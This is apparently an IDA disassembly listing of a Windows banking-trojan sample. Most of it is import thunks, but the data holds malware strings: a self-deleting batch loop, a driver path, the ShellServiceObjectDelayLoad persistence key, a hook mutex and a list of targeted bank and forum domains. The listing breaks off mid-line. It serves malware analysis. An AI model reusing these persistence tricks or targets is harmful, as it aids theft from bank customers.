--------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C374 proc near ; CODE XREF: sub_4087BF+1Ep jmp ds:dword_447424 sub_40C374 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C380 proc near ; CODE XREF: sub_403010+35p jmp ds:dword_447428 sub_40C380 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C38C proc near ; CODE XREF: sub_4063A9+275p jmp ds:dword_44742C sub_40C38C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C398 proc near ; CODE XREF: sub_406966+47p jmp ds:dword_447430 sub_40C398 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C3A4 proc near ; CODE XREF: sub_403BAD+1A6p ; sub_4042A4+2C5p ... jmp ds:dword_447434 sub_40C3A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C3B0 proc near ; CODE XREF: sub_403BAD+F9p ; sub_40403C+11p ... jmp ds:dword_447438 sub_40C3B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C3BC proc near ; CODE XREF: sub_401C5D+B5p ; sub_405600+11p ... jmp ds:dword_44743C sub_40C3BC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C3C8 proc near ; CODE XREF: sub_406966+1Cp jmp ds:dword_447440 sub_40C3C8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C3D4 proc near ; CODE XREF: sub_408043+2Cp ; sub_40A4E2+77Ap jmp ds:dword_447444 sub_40C3D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C3E0 proc near ; CODE XREF: sub_4042A4+1C5p ; sub_4063A9+41Ep ... jmp ds:dword_447448 sub_40C3E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C3EC proc near ; CODE XREF: sub_4063A9+35Fp ; sub_406B40+8Bp ... jmp ds:dword_447454 sub_40C3EC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C3F8 proc near ; CODE XREF: sub_408C98+A1p ; sub_40ADF7+DBp ... jmp ds:dword_447458 sub_40C3F8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C404 proc near ; CODE XREF: sub_4063A9+300p jmp ds:dword_44745C sub_40C404 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C410 proc near ; CODE XREF: sub_408BEF+26p ; sub_408BEF+9Bp jmp ds:dword_447460 sub_40C410 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C41C proc near ; CODE XREF: sub_408BEF+65p jmp ds:dword_447464 sub_40C41C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C428 proc near ; CODE XREF: sub_408C98+A3Dp ; sub_40ACD5+36p ... jmp ds:dword_447468 sub_40C428 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C434 proc near ; CODE XREF: sub_406E3F+7Cp jmp ds:dword_44746C sub_40C434 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C440 proc near ; CODE XREF: sub_40A4E2+459p jmp ds:dword_447470 sub_40C440 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C44C proc near ; CODE XREF: sub_40A4E2+47Bp jmp ds:dword_447474 sub_40C44C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C458 proc near ; CODE XREF: sub_40A4E2+7A9p jmp ds:dword_447478 sub_40C458 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C464 proc near ; CODE XREF: sub_40A4E2+4A4p jmp ds:dword_44747C sub_40C464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C470 proc near ; CODE XREF: sub_40ADF7+367p ; sub_40ADF7+42Bp ... jmp ds:dword_447480 sub_40C470 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C47C proc near ; CODE XREF: sub_40A4E2+7E3p jmp ds:dword_447484 sub_40C47C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C488 proc near ; CODE XREF: sub_408C98+946p ; sub_408C98+985p ... jmp ds:dword_447488 sub_40C488 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C494 proc near ; CODE XREF: sub_408C98+96Ap ; sub_408C98+99Cp ... jmp ds:dword_44748C sub_40C494 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4A0 proc near ; CODE XREF: sub_404602+73p jmp ds:dword_447490 sub_40C4A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4AC proc near ; CODE XREF: sub_404602+A3p jmp ds:dword_447494 sub_40C4AC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4B8 proc near ; CODE XREF: sub_404602+2Ep jmp ds:dword_447498 sub_40C4B8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4C4 proc near ; CODE XREF: sub_40A4E2+7C1p jmp ds:dword_44749C sub_40C4C4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4D0 proc near ; CODE XREF: sub_40A4E2+7CFp jmp ds:dword_4474A0 sub_40C4D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4DC proc near ; CODE XREF: sub_408C98+256p ; sub_408C98+38Bp ... jmp ds:dword_4474A4 sub_40C4DC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4E8 proc near ; CODE XREF: sub_40507F+64p ; sub_40507F+CAp ... jmp ds:dword_4474A8 sub_40C4E8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C4F4 proc near ; CODE XREF: sub_40ADF7+1EBp jmp ds:dword_4474AC sub_40C4F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C500 proc near ; CODE XREF: sub_408C98+77p ; sub_40ADF7+86Fp jmp ds:dword_4474B0 sub_40C500 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C50C proc near ; CODE XREF: sub_408C98+FDp ; sub_408C98+16Ap ... jmp ds:dword_4474B4 sub_40C50C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C518 proc near ; CODE XREF: sub_40ADF7+202p ; sub_40ADF7+77Ap jmp ds:dword_4474B8 sub_40C518 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C524 proc near ; CODE XREF: sub_40ADF7+175p jmp ds:dword_4474BC sub_40C524 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C530 proc near ; CODE XREF: sub_40ADF7+882p jmp ds:dword_4474C0 sub_40C530 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C53C proc near ; CODE XREF: sub_40ACD5+10Fp jmp ds:dword_4474C4 sub_40C53C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C548 proc near ; CODE XREF: sub_40A4E2+489p jmp ds:dword_4474D0 sub_40C548 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C554 proc near ; CODE XREF: sub_40ADF7+298p jmp ds:dword_4474D4 sub_40C554 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C560 proc near ; CODE XREF: sub_40ADF7+271p ; sub_40ADF7+27Dp jmp ds:dword_4474D8 sub_40C560 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C56C proc near ; CODE XREF: sub_40ADF7+2C0p jmp ds:dword_4474DC sub_40C56C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C578 proc near ; CODE XREF: sub_408C98+221p ; sub_408C98+85Ap jmp ds:dword_4474E0 sub_40C578 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C584 proc near ; CODE XREF: sub_405217:loc_405254p jmp ds:dword_4474EC sub_40C584 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C590 proc near ; CODE XREF: sub_405217+76p jmp ds:dword_4474F0 sub_40C590 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C59C proc near ; CODE XREF: sub_4015C0+39p ; sub_404156+57p jmp ds:dword_4474F4 sub_40C59C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5A8 proc near ; CODE XREF: sub_4014AA+5Fp ; sub_4015C0+86p ... jmp ds:dword_4474F8 sub_40C5A8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5B4 proc near ; CODE XREF: sub_4014AA+1Fp jmp ds:dword_4474FC sub_40C5B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5C0 proc near ; CODE XREF: sub_4014AA+49p jmp ds:dword_447500 sub_40C5C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5CC proc near ; CODE XREF: sub_4015C0+77p ; sub_404156+7Ep jmp ds:dword_447504 sub_40C5CC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5D8 proc near ; CODE XREF: sub_402355+129p jmp ds:dword_447508 sub_40C5D8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5E4 proc near ; CODE XREF: sub_402355+173p jmp ds:dword_44750C sub_40C5E4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5F0 proc near ; CODE XREF: sub_402355+159p jmp ds:dword_447510 sub_40C5F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C5FC proc near ; CODE XREF: sub_40507F+1Fp jmp ds:dword_447514 sub_40C5FC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C608 proc near ; CODE XREF: sub_40507F+160p jmp ds:dword_447518 sub_40C608 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C614 proc near ; CODE XREF: sub_40507F+32p jmp ds:dword_44751C sub_40C614 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C620 proc near ; CODE XREF: sub_4036DA+42p jmp ds:dword_447528 sub_40C620 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C62C proc near ; CODE XREF: sub_401219+49p jmp ds:dword_44752C sub_40C62C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C638 proc near ; CODE XREF: sub_406B40+179p ; sub_406E3F+56p ... jmp ds:dword_447530 sub_40C638 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C644 proc near ; CODE XREF: sub_405409+101p ; sub_405409+1A1p jmp ds:dword_447534 sub_40C644 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C650 proc near ; CODE XREF: sub_4096E4+CB4p ; sub_4096E4+CD6p jmp ds:dword_447538 sub_40C650 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C65C proc near ; CODE XREF: sub_401219+74p ; sub_4096E4+C4Bp ... jmp ds:dword_44753C sub_40C65C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C668 proc near ; CODE XREF: sub_4088C3+F9p jmp ds:dword_447540 sub_40C668 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C674 proc near ; CODE XREF: sub_40129C+1Bp ; .text:00401426p ... jmp ds:dword_447544 sub_40C674 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C680 proc near ; CODE XREF: sub_4063A9+5Cp ; sub_4063A9+1E4p ... jmp ds:dword_447548 sub_40C680 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C68C proc near ; CODE XREF: sub_40109A+149p jmp ds:dword_44754C sub_40C68C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C698 proc near ; CODE XREF: sub_401719:loc_40173Bp ; sub_403D6F+4Ep ... jmp ds:dword_447550 sub_40C698 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6A4 proc near ; CODE XREF: sub_40109A+102p ; sub_40109A+11Cp ... jmp ds:dword_447554 sub_40C6A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6B0 proc near ; CODE XREF: sub_4038D6+28p ; .text:00403994p ... jmp ds:dword_447558 sub_40C6B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6BC proc near ; CODE XREF: sub_4096E4+6Dp ; sub_40A4E2+124p jmp ds:dword_44755C sub_40C6BC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6C8 proc near ; CODE XREF: sub_4096E4+94Dp jmp ds:dword_447560 sub_40C6C8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6D4 proc near ; CODE XREF: sub_40352B+61p ; sub_4035A9+4Ap ... jmp ds:dword_447564 sub_40C6D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6E0 proc near ; CODE XREF: sub_40C0B4+17p jmp ds:dword_447568 sub_40C6E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6EC proc near ; CODE XREF: sub_4063A9+43Ep jmp ds:dword_44756C sub_40C6EC endp ; --------------------------------------------------------------------------- align 1000h _text ends ; Section 2. (virtual address 0000D000) ; Virtual size : 0002D3FC ( 185340.) ; Section size in file : 0002D3FC ( 185340.) ; Offset to raw data for section: 0000D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _bss segment para public 'DATA' use32 assume cs:_bss ;org 40D000h dword_40D000 dd 72656B5Ch ; sub_408403+92r ... aNel32_dll db 'nel32.dll',0 align 10h dd 0 dd 5C732500h, 2E646D63h, 666970h, 0 db 0 db 2 dup(0), 5Ch aCmd_exeCStartC db 'cmd.exe /C start c:\boot.sys',0 align 4 dd 3DDh dup(0) dword_40DFBC dd 0 ; sub_40ACD5+D3r dword_40DFC0 dd 0 ; sub_401DE8+456w ... align 10h dword_40DFD0 dd 40h dup(0) ; sub_4096E4+61Co ... dword_40E0D0 dd 0 ; sub_40364E:loc_4036D0r dd 442h dup(0) dword_40F1DC dd 0 ; sub_401DE8+20Bw ... dword_40F1E0 dd 0 ; sub_401DE8+3EEr ... dword_40F1E4 dd 0 ; sub_406E3F+1024r ... byte_40F1E8 db 0 ; DATA XREF: sub_401DE8+11Dw align 10h dword_40F1F0 dd 40h dup(0) ; sub_40A4E2+3A3o ... dword_40F2F0 dd 0 ; sub_402B12+DBw ... dd 0FFh dup(0) dword_40F6F0 dd 0 ; sub_40383E+8Er dd 41Eh dup(0) dword_41076C dd 0 ; sub_408C98+89Er ... dword_410770 dd 0 ; .text:00401C53r dd 433h dup(0) dword_411840 dd 0 dd 0FFh dup(0) dword_411C40 dd 785C7325h ; sub_404201+99r aSlfdlnt_bat db 'slfdlnt.bat',0 dd 0 dd 25000000h, 6D635C73h, 69702E64h, 66h, 0 dd 6D635C00h, 78652E64h, 65h, 0 dd 6F6C3A00h, 0A0D706Fh, 6C656440h, 3E732520h, 0D6C756Eh dd 6669400Ah, 69786520h, 25207473h, 6F672073h, 6C206F74h dd 0D706F6Fh, 6564400Ah, 7325206Ch, 6C756E3Eh, 0A0Dh, 0 dd 73250000h, 20432F20h, 7325h, 3F3h dup(0) dword_412C90 dd 0 ; .text:0040262Fr dd 400h dup(0) dword_413C94 dd 0 ; sub_40ACD5+EFr dword_413C98 dd 0 ; sub_408C98+904r ... align 10h byte_413CA0 db 0 ; DATA XREF: sub_401DE8+3F6w align 8 byte_413CA8 db 0 ; DATA XREF: sub_401DE8+56w ; sub_401DE8+5Br ... align 4 dword_413CAC dd 0 ; sub_401DE8+1B5w ... dword_413CB0 dd 40h dup(0) ; sub_4096E4+873o ... dword_413DB0 dd 0 ; sub_402B12+CFr ... dd 0FFh dup(0) dword_4141B0 dd 0 ; sub_40811F+87r dd 43Fh dup(0) dword_4152B0 dd 0 ; .text:004019B0r dd 413h dup(0) dword_416300 dd 0 ; sub_40470D+59r dd 423h dup(0) dword_417390 dd 0 ; .text:loc_4022C7r dd 3F7h dup(0) dword_418370 dd 94h ; sub_40A4E2+FBo dd 5, 1, 0A28h dword_418380 dd 2 aServicePack2 db 'Service Pack 2',0 align 4 dd 1Fh dup(0) dword_418410 dd 0 ; sub_4052CE:loc_40535Er dd 45Bh dup(0) dword_419580 dd 0 ; .text:004014A0r dd 44Ah dup(0) byte_41A6AC db 0 ; DATA XREF: sub_401DE8+3ACw ; sub_401DE8+3B1r align 10h dword_41A6B0 dd 0 ; sub_401DE8+D5r ... dword_41A6B4 dd 0 dword_41A6B8 dd 0 ; sub_402355+10Er ... align 10h dword_41A6C0 dd 6972645Ch ; sub_40129C+98r aVersNdisrd_sys db 'vers\ndisrd.sys',0 dd 0 dd 6E650000h, 656C6261h, 667364h, 0 dd 73250000h, 2E73255Ch, 657865h, 437h dup(0) dword_41B7D0 dd 0 ; sub_40A4E2+7A3r ... align 10h dword_41B7E0 dd 0 ; sub_4068DC:loc_40695Cr dd 417h dup(0) dword_41C840 dd 0 ; sub_408C98+250r dword_41C844 dd 0 ; sub_408C98+71r ... dword_41C848 dd 0 ; sub_402563+11r align 10h dword_41C850 dd 463Ah ; sub_4033BC+8Dr dd 430h dup(0) dword_41D914 dd 0 ; sub_401DE8:loc_401E69w ... dword_41D918 dd 0 ; sub_408C98+8C0r ... dword_41D91C dd 0 ; sub_40ACD5+BBr dword_41D920 dd 0 ; sub_408C98+3D0r ... dword_41D924 dd 0 ; sub_4024F3+5Er dword_41D928 dd 400000h ; sub_408C98+12Cr ... dword_41D92C dd 0 ; sub_401DE8+A3w ... dword_41D930 dd 3430257Bh ; sub_403A31:loc_403ABDr aX04x04x04x04x0 db 'X%04X-%04X-%04X-%04X-%04X%04X%04X}',0 align 4 dd 0 a08x db '%08X',0 align 4 dd 73250000h, 2E73255Ch, 6C6C64h, 0 dd 534C4300h, 255C4449h, 6E495C73h, 636F7250h, 76726553h dd 32337265h, 0 dd 68540000h, 64616572h, 4D676E69h, 6C65646Fh, 0 dd 70410000h, 6D747261h, 746E65h, 0 db 0 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelay' db 'Load',0 align 4 dd 432h dup(0) dword_41EAC4 dd 0 ; sub_40ACD5+9Dr align 10h dword_41EAD0 dd 40h dup(0) ; sub_40A4E2+37Do ... byte_41EBD0 db 0 ; DATA XREF: sub_401DE8+169w align 4 dword_41EBD4 dd 0 ; sub_408C98+134r ... align 10h byte_41EBE0 db 0 ; DATA XREF: sub_406E3F+176o ; sub_406E3F+D2Eo ... byte_41EBE1 db 0 ; DATA XREF: sub_406E3F+ECFr byte_41EBE2 db 0 ; DATA XREF: sub_406E3F+ED8r byte_41EBE3 db 0 ; DATA XREF: sub_406E3F+EE1r dd 3FFFh dup(0) byte_42EBE0 db 0 ; DATA XREF: sub_401DE8+257w ; sub_401DE8+25Cr align 4 dword_42EBE4 dd 0 ; .text:004080D1r ... align 10h dword_42EBF0 dd 0 ; .text:loc_401814r dd 440h dup(0) dword_42FCF4 dd 0 dword_42FCF8 dd 0 ; sub_402355+28r dword_42FCFC dd 0 ; sub_408C98+276r ... byte_42FD00 db 0 ; DATA XREF: sub_401DE8+2E9w ; sub_401DE8+2F3r ... align 10h dword_42FD10 dd 0 ; sub_4045EF:loc_4045F8r dd 433h dup(0) dword_430DE0 dd 0 ; sub_406DB4:loc_406E35r dd 429h dup(0) dword_431E88 dd 0 ; sub_408C98+8E2r ... dword_431E8C dd 0 ; sub_40ADF7+23Ar ... dword_431E90 dd 0 ; sub_408C98+385r ... align 10h dword_431EA0 dd 0 ; .text:loc_408793r dd 3F7h dup(0) aCWindowsSystem db 'C:\WINDOWS\system32',0 ; DATA XREF: sub_403BAD+7Fo ; sub_403D6F+24Bo ... dd 3Bh dup(0) byte_432F80 db 0 ; DATA XREF: sub_40133E+8Fo ; sub_4081B0+FEw ... align 4 dd 3Fh dup(0) dword_433080 dd 0 ; .text:00401AB7r dd 431h dup(0) dword_434148 dd 0 ; sub_408C98+919r ... dword_43414C dd 0 ; sub_408C98+92Er dword_434150 dd 0 ; sub_401565:loc_4015B6r dd 3FFh dup(0) dword_435150 dd 0 ; sub_404FE7+8Er dd 423h dup(0) dword_4361E0 dd 0 ; .text:loc_401DDEr dd 453h dup(0) dword_437330 dd 0 ; .text:0040170Fr dd 413h dup(0) dword_438380 dd 0 ; .text:loc_408A57r dd 3FEh dup(0) dword_43937C dd 0 ; sub_40ADF7+242r ... byte_439380 db 0 ; DATA XREF: sub_401DE8+42Cw align 10h dword_439390 dd 0 ; .text:loc_40887Cr dd 41Ah dup(0) _bss ends ; Section 3. (virtual address 0003B000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 0003B000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 43B000h dd offset dword_40D000 dd 43A3FCh, 8000h, 0 dword_43B010 dd 0 ; sub_40109A+110w ... dword_43B014 dd 12FF74h dd 0 dword_43B01C dd 0 dword_43B020 dd 1 ; sub_401219+5Ar dword_43B024 dd 14A4E0h ; sub_401219+54r dword_43B028 dd 1471D8h ; sub_401219+4Er dword_43B02C dd 0 ; sub_40109A:loc_401208r dword_43B030 dd 0 dword_43B034 dd 0 ; sub_40109A+87r ... dword_43B038 dd 0 dword_43B03C dd 14h dup(0) ; sub_40109A+8Fo dword_43B08C dd 0 dword_43B090 dd 0 ; sub_40109A+32w dword_43B094 dd 7 ; sub_408C98+1BCr ... dword_43B098 dd 12h ; sub_408C98+13Ar ... dword_43B09C dd 3Ah ; sub_40129C:loc_4012C3r ... aKkqhook_28 db 'KKQHOOK_28',0 ; DATA XREF: sub_40A482+14o ; sub_40A4E2+4E2o aC db 'c',0 align 10h dword_43B0B0 dd 0 ; sub_4096E4+147r ... dword_43B0B4 dd 46h ; sub_4096E4+CEEr ... off_43B0B8 dd offset aSiliconfirewar ; DATA XREF: sub_4096E4+100r ; sub_4096E4+14Dr ; "siliconfireware.ru" dd offset aAtmacasoft_com ; "atmacasoft.com" dd offset aProdexteam_net ; "prodexteam.net" dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm" dd offset aWww_cbr_ru ; "www.cbr.ru" dd offset aWww_proxySocks ; "www.proxy-socks.net" dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu" dd offset aNew_egg_com ; "new.egg.com" dd offset aWww_baltbank_r ; "www.baltbank.ru" dd offset aWelcome3_smile ; "welcome3.smile.co.uk" dd offset aOlb2_nationet_ ; "olb2.nationet.com" dd offset aWww_bbin_ru ; "www.bbin.ru" dd offset aMasterX_com ; "master-x.com" dd offset aEbookfinaltras ; "ebookfinaltrash.ru" dd offset aWww_masterbank ; "www.masterbank.ru" dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php" dd offset aWww_bmo_com ; "www.bmo.com" dd offset aWww_bankofmadu ; "www.bankofmadura.com" dd offset aWww_cibc_com ; "www.cibc.com" dd offset aWww_vtb_ru ; "www.vtb.ru" dd offset aWww_cwbank_com ; "www.cwbank.com" dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru" dd offset aAlfabank_ru ; "alfabank.ru" dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/" dd offset aWww_mmbank_ru ; "www.mmbank.ru" dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php" dd offset aWww_uniastrum_ ; "www.uniastrum.ru" dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php" dd offset aAtmacasoft_com ; "atmacasoft.com" dd offset aAsmworm_com ; "asmworm.com" dd offset aWww_proxySocks ; "www.proxy-socks.net" dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru" dd offset aWww_worldbank_ ; "www.worldbank.org/index.php" dd offset aWww_candidatev ; "www.candidateverifier.com/index.php" dd offset aWww_sbrf_ru ; "www.sbrf.ru" dd offset aPizdabolInc_ru ; "pizdabol-inc.ru" dd offset aWww_bankofindi ; "www.bankofindia.com" dd offset aWww_icbank_ru ; "www.icbank.ru" dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."... dd offset aWww_spyinstruc ; "www.spyinstructors.com" dd offset aWww_kmb_ru ; "www.kmb.ru" dd offset aWww_netmagiste ; "www.netmagister.com" dd offset aWww_nomos_ru ; "www.nomos.ru" dd offset aWww_absolutban ; "www.absolutbank.ru" dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk" dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk" dd offset aWww_allahabadb ; "www.allahabadbank.com" dd offset aMasterX_comFor ; "master-x.com/forum/" dd offset aWww_rbc_com ; "www.rbc.com" dd offset aWww_ovk_ru ; "www.ovk.ru" dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php" dd offset aProrat_net ; "prorat.net" dd offset aYambo_biz ; "yambo.biz" dd offset aKidosBank_ru ; "kidos-bank.ru" dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"... dd offset aBarclays_com ; "barclays.com" dd offset aTotallyfreeban ; "totallyfreebanking.com" dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php" dd offset a53bank_com ; "53bank.com" dd offset aWww_uralsib_ru ; "www.uralsib.ru" dd offset aGrepwareFacili ; "grepware-facility.ru" dd offset aWww_b2bTrust_c ; "www.b2b-trust.com" dd offset aGutabank_ru ; "gutabank.ru" dd offset aOpenbank_com ; "openbank.com" dd offset aSeclab_ru ; "seclab.ru" dd offset aTatNeftbank_ru ; "tat-neftbank.ru" dd offset aSecuritylab_ru ; "securitylab.ru" dd offset aRoyalbank_com ; "royalbank.com" dd offset aFethard_biz ; "fethard.biz" dd offset 